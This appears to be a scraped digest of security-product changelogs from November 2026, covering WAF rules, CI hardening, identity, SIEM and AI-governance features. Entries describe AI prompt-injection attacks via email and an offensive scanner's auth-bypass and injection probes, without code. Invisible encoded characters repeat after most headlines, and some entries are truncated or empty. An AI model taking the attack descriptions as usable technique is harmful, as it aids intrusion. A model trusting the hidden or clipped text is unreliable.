• A new API endpoint reports whether the Environments permission is granted to the StepSecurity GitHub App, and listing environment secrets now requires the Environments: Read permission for the StepSecurity GitHub App; existing installations need an organization owner to approve the permission request.
• The Action Secrets page adds an Environment Secrets tab showing every environment secret by repository and environment, with rotation age, usage status, referencing workflows, and OIDC replaceability — filterable by environment — and a lock icon on the tab marks protected environments and displays their protection rules.

Software Supply Chain Security · 2026-11-05

StepSecurity Harden Runner adds Red Hat OpenShift support, automatic GitHub Actions domain allowlisting, reverse shell host exclusions, and HTTP/2 HTTPS monitoring⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Enable Red Hat OpenShift support in ARC Harden Runner by setting openshift.enabled=true in the Helm chart, which creates a SecurityContextConstraints (SCC) object for the harden-runner service account; set openshift.scc.privileged=false to use a least-privilege SCC that runs no privileged containers.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Run Tetragon without privileged mode by setting the new Helm value tetragon.bpfMountPropagation to HostToContainer (default is Bidirectional).
• Mount additional volumes — such as a corporate CA certificate for TLS-inspecting proxies like Zscaler — using the new Helm values env.volumes and env.volumeMounts.

Email Security · 2026-11-05

Sublime Security adds Prompt Injection Detection to identify and remediate hidden AI instructions in inbound email⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Sublime Security now detects and remediates prompt injection attacks in inbound email, flagging hidden instructions that could make AI assistants share phishing links, exfiltrate data, or approve fraudulent transactions.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• A Prompt Injection card in Attack Overview now opens the Message List View filtered to ASA (Autonomous Security Analyst) confirmed prompt injection attempts.
• The message details page now shows a Prompt Injection tag next to the ASA verdict for confirmed attempts.

Cloud Security Posture · 2026-11-05

Sysdig Secure CLI Scanner v1.32.0 adds standalone binary scanning for Python, PHP, Chrome Headless Shell, and Muse Code, plus new OS platform support⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Detect Claude Code installed via its native installer during image scanning.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Scan images running on SUSE Linux Enterprise Server 16, openSUSE Leap 16, and Ubuntu 26.10, including end-of-life information for SUSE Linux Enterprise Server 16.
• Vulnerabilities with a known exploit are now marked exploitable even when the exploit has no publication date or reference link.

General Utilities & Libraries · 2026-11-05

SysReptor adds multi-tab AI agents, background task workers, and PDF metadata via HTML meta tags in report designs⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Set PDF metadata (title, author, subject, keywords, etc.) directly in report designs via HTML <meta> tags, as documented at https://docs.sysreptor.com/designer/pdf-metadata.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• SysReptor's AI agent now supports multiple concurrent agent tabs so practitioners can run parallel investigations without losing context.
• AI agent sessions now continue running in background worker processes after the user navigates away.

Vulnerability & Exposure Management · 2026-11-05

syzkaller adds riscv64 and arm64 compat target support in syz-agent and AI job creation for riscv64 bugs⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• syz-agent now supports riscv64 and arm64 compat targets, including arm-on-arm64 compat target selection via TargetVMArch in target config.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• The dashboard now creates AI jobs for riscv64 bugs, expanding automated AI workflow coverage beyond previously supported architectures.

Detection Engineering · 2026-11-05

Tenzir Node v6.21.0 now pushes filters, sorts, and limits into DuckDB, ClickHouse, MySQL, SQL Server, and Splunk so those engines return only the rows the pipeline keeps⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Push filters, sorting, and limits after summaries down into SQL databases (DuckDB, ClickHouse, MySQL, Microsoft SQL Server) so the database returns only the rows the pipeline keeps.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Splunk searches now run faster by passing typed results back through the pipeline instead of raw strings.
• Filters now pass through ocsf_cast and field-selection functions instead of blocking on them.

Model & Agent Protection · 2026-11-05

ToolHive adds Codex for Bedrock model support in llm setup, a TLS listener field for the operator, and aligns vMCP with the final MCP 2026-07-28 spec⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Configure Codex for Bedrock models via the llm setup command.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Add a TLS listener field and validation to the operator configuration.
• ToolHive's virtual MCP server now aligns with the final MCP 2026-07-28 specification.

Endpoint Security (EDR/XDR) · 2026-11-05

Trend Vision One adds an Images view to Container Security Inventory for browsing, filtering, and comparing container images at runtime or pre-runtime⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Trend Vision One now shows a dedicated Images section under Container Security Inventory, listing each container image with vulnerability counts and running workloads, navigated via Cloud Security → Container Security → Inventory → Images → All images or a specific registry.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Review per-image detail pages covering overviews, workloads, vulnerabilities, malware, secrets, packages, and scan history by selecting any image in the Images list.
• Surface container images discovered at pre-runtime via TrendAI Artifact Scanner (TMAS) alongside runtime-discovered images in the same Images inventory view.

CNAPP · 2026-11-05

Upwind adds a ServiceNow Vulnerability Response integration that sends findings as native Vulnerable Items and rescans resources when tickets close⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Connect Upwind to ServiceNow Vulnerability Response by navigating to Components → Integrations → ServiceNow VR, entering your instance URL and OAuth client credentials, then clicking Provision — Upwind creates the staging table and related objects in ServiceNow automatically.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Upwind now sends each vulnerability finding into ServiceNow VR as a native Vulnerable Item (VIT) linked to its CVE record from the NVD library, matched to the Configuration Item, and tagged Source = Upwind, rather than a generic ITSM incident.
• Use the When a new vulnerability is found workflow trigger paired with the Create a ServiceNow Vulnerable Item action to automatically file a VIT for every new matching finding, with filters by severity, EPSS, risk category, or any selector.

Firewalls & Network Defense · 2026-11-05

Vectra AI adds an EDR Communication Disruption detection to flag hosts whose EDR provider has stopped checking in⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Vectra AI now raises an information-level detection when a host remains active on the network but its connected EDR provider has not reported a recent check-in, helping analysts identify gaps in endpoint visibility — available on v9.15 with VPN-connected deployments that have healthy, enabled EDR integrations.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-05

Veracode integrations add IaC policy controls, predependency commands, Fix for SCA, environment diagnostics, and new scan scheduling across GitHub, GitLab, Azure DevOps, and⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds predependency_command to veracode.yml in the GitHub, GitLab, and Azure DevOps Workflow Integrations to run single-line or multiline commands before Veracode packages a project for scans.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Add build_runs_on to veracode.yml in the GitHub Workflow Integration to specify the runner for SCA scans.
• Adds policy to veracode.yml in the GitLab, Azure DevOps, and GitHub Workflow Integrations for infrastructure-as-code (IaC) scans.

Threat Intelligence · 2026-11-05

World Monitor adds Pro license activation on self-hosted dashboards and daily Thailand farm-price data from the NABC dashboard⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• World Monitor now reads Thailand's daily farm prices from the NABC dashboard as a new data source.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

AI-Powered Offensive Security · 2026-11-05

xalgorix adds authentication-bypass detection, JSON body field discovery, and body injection for SQL and template injection checks⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Detect authentication-bypass vulnerabilities with the new verify_authbypass check, which re-requests protected routes unauthenticated using equivalent spellings (case fold, percent-encoding, trailing slash, dot and matrix separators) and reports confirmed bypasses under the new auth-bypass report class (CWE-287/288/425) at medium or high severity.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Discover which JSON body fields a POST/PUT/PATCH endpoint expects with the new probe_body_contract tool, which classifies each field as required, recognized, rejected as unknown, or type-validated by reading the app's own validation errors.
• Inject into JSON or form request bodies in addition to query strings with verify_sqli and verify_ssti, using the new options inject_in, body_type, and base_body.

Identity & Access Management · 2026-11-04

1Password for Android now saves and signs in with post-quantum passkeys on supporting sites⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Save and sign in with post-quantum passkeys on sites that support them.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Watchtower's multi-factor authentication card is now called 2FA available to match the passkeys card naming.
• Scan QR code option is now called Scan 2FA QR code and is now available on any login in the browser extension, including from the Watchtower multi-factor authentication banner.

Identity & Access Management · 2026-11-04

1Password: 1Password for iOS now supports iPhone Duo as an authentication method.

• The first field in API Credential items is now labeled key name instead of username.

Email Security · 2026-11-04

Abnormal AI adds AI Governance as a standalone product, discoverable without Inbound Email Security, connecting to Microsoft 365 or Google Workspace in read-only mode⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Abnormal AI now offers AI Governance as a standalone product that customers can purchase and activate independently, without first buying Inbound Email Security.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• AI Governance connects to Microsoft 365 via the Graph API or to Google Workspace in read-only mode to discover every AI tool, agent, and chat in an organization.
• AI Governance maps sensitive data found in LLM-powered chat tools — including uploaded files and images — to compliance frameworks.

Email Security · 2026-11-04

Abnormal AI adds AI Governance as a standalone product to discover, inventory, and report on AI tools and agents across an organization⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• AI tool discovery identifies AI tools in use across connected environments and classifies each as sanctioned, tolerated, or unsanctioned.
• AI agent inventory finds agents across connected platforms and flags those that are dormant, orphaned, or overly permissioned so teams can revoke stale access.
• AI chat insights surfaces sensitive data — credentials, personal information, and financial data, including content inside uploaded files and images — shared with AI assistants, with findings ranked by severity.

Secure Access (VPN / SASE / ZTNA) · 2026-11-04

amneziawg-installer adds manage qr to print client QR codes in the terminal and --ipopts-guard to deploy a firewall rule that drops TCP packets with IP options⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Display a client config QR code directly in the terminal with manage qr <name>, or use --vpn to print the vpn:// link QR for Amnezia VPN — no more copying images off the server with scp.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Deploy a standalone firewall rule against TCP packets with IP options using sudo bash install_amneziawg.sh --ipopts-guard, which installs only the raw-table drop rule and amneziawg-ipopts-guard.service without touching VPN settings.
• Check whether the IP-options firewall guard is active on a running server with manage check.

Identity & Access Management · 2026-11-04

authentik adds ML-DSA certificates, ML-DSA OIDC token signing, ML-DSA passkeys, and AES-256-GCM SAML encryption in version 2026.11⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• authentik now generates and stores ML-DSA-44, ML-DSA-65 and ML-DSA-87 certificates alongside existing RSA, ECDSA, Ed25519 and Ed448 certificates for use with TLS between components, mutual TLS, and RADIUS with EAP-TLS 1.3 (requires outposts on 2026.11 or newer to verify them; unavailable when FIPS compliance mode is on).⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• OAuth2 providers can now sign ID tokens, access tokens and client assertions with an ML-DSA certificate; the proxy outpost and OAuth sources verify ML-DSA-signed tokens for federation with an upstream IdP that signs with ML-DSA; DPoP proofs can be bound to ML-DSA keys.
• WebAuthn registration and login now accept ML-DSA credentials, placed at the bottom of the accepted algorithm list so only an authenticator that offers nothing else will use it.

Patch Management · 2026-11-04

Privileged Access Management · 2026-11-04

BeyondTrust Remote Support 26.3.1 adds end-user consent in RDP sessions, FIDO2 on Pathfinder, Configuration API via MCP gateway, and AI Session Summaries for Atlas deployment⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds new APIs: access the Configuration API through the MCP gateway so AI assistants and automation tools can read and change RS configuration settings without a custom REST integration, with read and write access controlled at the organization level; assign attended and unattended session policies to a group policy through the API, removing the manual UI step from provisioning scripts; and retrieve AI Session Summaries through public APIs for use in reporting, storage, and analysis.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds new session control policies: BeyondTrust Remote Support now requires end-user consent before a representative can share the screen, access files, or access the shell in an active RDP session, with consent re-requested on mid-connection session switches; and administrators can use a session policy to start screen sharing in view-only mode, requiring the representative to request end-user approval before taking control.
• Turn session recording on or off for a single Asset or Asset Group, overriding the global recording policy, via Jump Policies settings.

Privileged Access Management · 2026-11-04

BeyondTrust Base 8.4.0 adds coordinated cluster updates and Canadian French language support for the appliance admin interface⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Clustered and failover deployments now update as a unit — the primary schedules both base and product updates and every node installs them in the same maintenance window, with per-node status visible on the cluster Updates page.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• The appliance administrative interface is now available in Canadian French.
• Rate limiting now limits burst and sustained request rates independently, so short legitimate traffic bursts are no longer throttled as sustained abuse.

Web Application Security · 2026-11-04

Burp Suite DAST adds GitHub issue tracking and timestamped evidence cards for security findings⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Raise and track security issues directly in GitHub from within Burp Suite DAST.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• View issue evidence as timestamped cards in the findings interface.

Container & Image Security · 2026-11-04

API surface changed: +5 endpoints, 12 modified⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• New endpoint DELETE /argos/v1/partners/{partnerId}/mitigations/{id}⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• New endpoint GET /argos/v1/partners/{partnerId}/mitigations
• New endpoint GET /argos/v1/partners/{partnerId}/mitigations/{id}

Identity & Access Management · 2026-11-04

Clerk adds group webhooks, group-read API endpoints, and directory pause to Directory Sync⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Clerk's Directory Sync now sends webhooks for group and membership changes.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Clerk's Backend API now supports reading a group and its members via Directory Sync.
• Pause a Directory Sync directory without removing any user access.

SIEM · 2026-11-04

API surface changed: +5 endpoints, 13 modified⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• New endpoint DELETE /v1/organizations/{organizationId}/services/{serviceId}/jwtProviders/{jwtProviderName}⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• New endpoint GET /v1/organizations/{organizationId}/services/{serviceId}/jwtProviders
• New endpoint GET /v1/organizations/{organizationId}/services/{serviceId}/jwtProviders/{jwtProviderName}

Internet Services · 2026-11-04

Cloudflare WAF adds a phpMyAdmin authentication bypass detection to the Managed Ruleset⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Cloudflare WAF adds a new detection for phpMyAdmin authentication bypass in the Cloudflare Managed Ruleset (rule ...13f91633).⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Internet Services · 2026-11-04

Cloudflare WAF adds a new Generic Rules - Dangerous File Upload detection, effective 2026-11-10⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Cloudflare WAF adds a new Generic Rules - Dangerous File Upload detection (rule ID ...7178209b), deploying in Log mode on 2026-11-10.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-04

SIEM · 2026-11-04

Databricks adds merge strategies for Lakebase sink upserts in Structured Streaming, controlling column-level update behavior on Databricks Runtime 19+⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Databricks now supports merge strategies when writing to Lakebase from Structured Streaming, letting you keep the first or last value, ignore nulls, or select values by an ordering column during upserts — requires Databricks Runtime 19 or above.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-04

Databricks adds a managed Okta connector in Lakeflow Connect (Beta) to ingest identity and access data including users, groups, devices, policies, and administrator roles.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Enable the Okta connector in Lakeflow Connect (Beta) through the Previews page to ingest identity and access data — users, groups, group memberships, app integrations, devices, policies, and administrator roles — from Okta into Databricks using SSWS API token authentication with incremental ingestion support.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-04

Databricks adds cross-workspace upstream job completion triggers for Lakeflow Jobs in Beta⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Configure a Lakeflow Job to run automatically when one or more upstream jobs complete, including jobs in other workspaces sharing the same Unity Catalog metastore, by setting dependencies on the downstream job.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-04

Databricks adds general availability of Zerobus Ingest into default storage tables in Lakeflow Connect⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Databricks' Zerobus Ingest in Lakeflow Connect now supports ingesting into tables backed by default storage at general availability.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-04

Databricks now includes AI Functions spend in Unity Gateway budgets for batch and real-time execution paths⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Unity Gateway budgets now track spend from task-specific AI Functions — ai_parse_document, ai_extract, and ai_classify — across both batch and real-time execution paths.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

SIEM · 2026-11-04

Databricks adds a Data freshness column and event-log fields to Lakeflow Connect CDC pipelines for SQL Server, PostgreSQL, MySQL, and Oracle sources⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Databricks now shows how current each destination table is in Lakeflow Connect database connector pipelines via a new Data freshness column in the pipeline's tables list, displaying time since the latest ingested source commit for each CDC table.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Query data freshness and end-to-end lag from the ingestion pipeline's event log and create alerts on them — available for SQL Server, PostgreSQL, MySQL, and Oracle sources.

WAF, Bot & API Protection · 2026-11-04

DataDome React Native SDK for Fetch 3.0.0 rewrites on top of CoreDataDome SDK, replacing the singleton API with createDataDomeFetch(dataDome) and native challenge presentatio⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Replace DataDomeFetch and the DataDome singleton (DataDome.configure, DataDome.getInstance) with createDataDomeFetch(dataDome), which takes a DataDome client created with new DataDome({ clientKey }) and returns a fetch-compatible function that automatically adds DataDome headers to every request and checks every response for a challenge.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Accept a string, URL, or Request as fetch input, and a Headers object, an array of pairs, or a plain object as headers.
• Re-export DataDome, ResponseValidationStatus, DataDomeConfiguration, and DataDomeCookie from @datadome/react-native-core-datadome.

Endpoint Management (UEM/RMM) · 2026-11-04

Secure Access (VPN / SASE / ZTNA) · 2026-11-04

DNSFilter adds a Branding settings page for MSPs with CNAME-based custom domains, replacing the legacy Whitelabel page⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• LAN Subnets, Relays, and Roaming Clients grids now show the inherited Policy or Block Page name with an Inherited from Site label, replacing the map-pin icon; global policies show a globe icon beside the name.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Roaming Client delete flow now distinguishes between Delete and Delete & Uninstall — the latter appears only when uninstall-capable agents are selected — and single-client deletes now require type-to-confirm.

Model & Agent Protection · 2026-11-04

Docker Sandboxes adds custom mount targets, FUSE filesystem support, stdin secret input, and new policy and MCP controls in v0.51.0⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Mount additional workspaces at custom paths by passing PATH:TARGET[:ro] to sbx create and sbx run, or setting additionalWorkspaces[].target in environment files.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Start agents in a subdirectory with sbx run --workdir, including when reattaching to an existing sandbox.
• Suppress creation progress output with sbx run --no-progress while still receiving command results, or use sbx create --no-progress for creation.

Reverse Engineering · 2026-11-04

EMBA adds component URL fields to JSON config and binary fragment test cases to strengthen firmware component detection⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Add component URL to the JSON config output for identified firmware components.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Add version detection support for the iw wireless utility component, expanding binary component identification coverage.
• EMBA's CycloneDX SBOM output now includes valid license entries for identified components.

Software Supply Chain Security · 2026-11-04

WAF, Bot & API Protection · 2026-11-04

Fastly Terraform Provider (beta) adds audit log event routing, domain management routing configs, and a new migration CLI foundation⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Adds fastly_audit_log_event_mapping resource and data source to route audit log events to integrations.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Adds fastly_routing_config_auto and fastly_routing_config_domain_link resources for domain management routing configs with automatic versioning.
• Adds initial fastly-tf-migrate CLI foundation with version reporting and dedicated build/test targets for Terraform migration workflows.

WAF, Bot & API Protection · 2026-11-04

Fastly JavaScript SDK 4.1.0 upgrades StarlingMonkey to v0.4.0⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Fastly JavaScript SDK now uses StarlingMonkey v0.4.0.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Reverse Engineering · 2026-11-04

Reverse Engineering · 2026-11-04

Finite State Platform adds Brotli component detection and raw NAND dump extraction for ext filesystems and U-Boot FIT images⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Finite State Platform now identifies Brotli as a component and reads its version on firmware builds that export one.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Finite State Platform now shows end-of-life status for .NET runtime components, including NuGet runtime packs and installer names.

Secure Access (VPN / SASE / ZTNA) · 2026-11-04

Firezone adds an EU-region cloud deployment hosting identity data, access policies, and audit logs exclusively in the European Union⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Switch Clients to the EU control plane by setting Settings → Control plane → Firezone Cloud (EU) before signing in, connecting to wss://eu.api.firezone.dev with the admin portal at https://eu.app.firezone.dev.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Firezone now offers an EU-region account option with identity data, access policies, and audit logs stored exclusively in Sweden and France on Azure infrastructure, available on all plans including Starter.

Secrets Detection & Management · 2026-11-04

GitGuardian adds a Wiz integration to sync open secret incidents from version control into Wiz as native secret findings once a day⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Configure the Wiz integration in GitGuardian at Settings > Integrations > Wiz by pasting the Client ID, Client secret, Authentication URL, and API endpoint URL that Wiz provides, then map Info and Unknown severities to Wiz equivalents.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• GitGuardian now syncs open secret incidents daily from GitHub, GitLab, Bitbucket, and Azure DevOps into Wiz as native secret findings, each carrying repository, file path, commit, detector, validity status, severity, and a link back to the GitGuardian incident.
• Secret values never leave GitGuardian — Wiz receives only a SHA-256 hash of the value plus metadata.

Code Security · 2026-11-04

GitHub's Copilot usage metrics API now exposes bring-your-own-key and enterprise custom model usage in separate, queryable fields⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Track per-user local BYOK activity with the new used_local_byok field in user-level Copilot usage reports.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Break down local BYOK session, request, prompt, and token counts by byok_kind (local_managed, local_user, local_auto, or remote_user) and surface (copilot_cli or copilot_app) using the new totals_by_local_byok field.
• Count distinct users running local BYOK models per day, calendar week, and calendar month with the new daily_active_local_byok_users, weekly_active_local_byok_users, and monthly_active_local_byok_users aggregate fields.

Code Security · 2026-11-04

GitHub Dependabot adds Agent Package Manager (APM) support to keep AI agent skills, prompts, and instructions up to date⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Add an apm entry to .github/dependabot.yml, specifying the directory containing apm.yml and an update schedule, to have Dependabot open pull requests updating git dependencies declared in apm.yml and regenerating apm.lock.yaml when present.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Dependabot now supports version updates for Agent Package Manager (APM) dependencies — covering AI agent skills, prompts, and instructions — available on github.com for all GitHub plans and in GitHub Enterprise Server 3.24.

Code Security · 2026-11-04

GitHub adds a REST API endpoint to look up which cost center a user, organization, repository, or enterprise team belongs to⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Look up which cost center a user, organization, repository, or enterprise team belongs to by passing the resource type and name to a new REST API endpoint — the response includes the cost center's ID and name, and returns an empty memberships array when no cost center matches.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-04

GitHub Copilot now available in JetBrains Air via the Agent Client Protocol for local and cloud coding tasks⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Connect GitHub Copilot to JetBrains Air via the Agent Client Protocol (ACP) to delegate coding tasks, track parallel agent sessions, and review changes in-context inside your JetBrains IDE.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠
• Run Copilot cloud tasks in isolated Docker containers on fresh virtual machines through Air Teams, billed to your existing Copilot plan rather than JetBrains AI credits.
• Link your GitHub account for cloud tasks from the browser by navigating to Settings > VCS Providers in JetBrains Air, then selecting a repository, remote branch, and GitHub Copilot as the agent.

Code Security · 2026-11-04

CodeQL 2.27.3 adds JSON syntax for data extensions, Python 3.15 support, C23 bit-precise integers, and an opt-in AI threat model for LLM-generated data⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Data extension files now accept JSON syntax (.json extension) using the same structure as YAML, including Java-style // and /* ...⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠ */ comments.
• Enable an opt-in ai threat model for LLM-generated data sources, letting you define your own sources via data extensions without any built-in source models.
• The Python extractor now supports Python 3.15 syntax, including unary plus in match literal patterns, Unicode 17 identifiers, and the new frozendict and sentinel builtins with data flow modeling for frozendict construction.

Code Security · 2026-11-04

GitHub's Dependabot now supports Python 3.15 for automated dependency updates⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

• Dependabot now supports Python 3.15, available to all github.com users and included in GitHub Enterprise Server 3.24.⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

Code Security · 2026-11-04

GitHub Desktop adds short-lived, automatically refreshing authentication tokens to reduce leaked-token exposure⁠︀︄︇︀︅︉︀︅︀︀︃︀︀︅︅︀︅︊︀︄︆︀︃︄⁠

